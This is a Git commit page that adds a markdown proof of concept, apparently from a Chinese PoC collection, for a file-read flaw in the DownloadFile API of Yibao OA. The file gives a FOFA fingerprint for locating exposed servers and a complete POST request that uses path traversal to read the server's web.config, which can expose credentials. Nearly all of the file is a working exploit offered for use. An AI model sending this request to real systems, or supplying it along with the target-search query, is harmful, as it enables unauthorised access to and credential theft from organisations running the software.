admin/POC00
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Create 易宝OA系统DownloadFile接口存在文件读取漏洞.md

Browse Source
This commit is contained in:
wy876 2024-03-01 15:27:50 +08:00 committed by GitHub
parent b5dc114b0b
commit 06f9f438e9
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 18 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

18
易宝OA系统DownloadFile接口存在文件读取漏洞.md Normal file
View File

@ -0,0 +1,18 @@
## 易宝OA系统DownloadFile接口存在文件读取漏洞
## fofa
```
"顶讯科技"
```
## poc
```
POST /api/files/DownloadFile HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0
Content-Length: 94
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
token=zxh&requestFileName=../../manager/web.config&pathType=1&startPosition=0&bufferSize=1000
```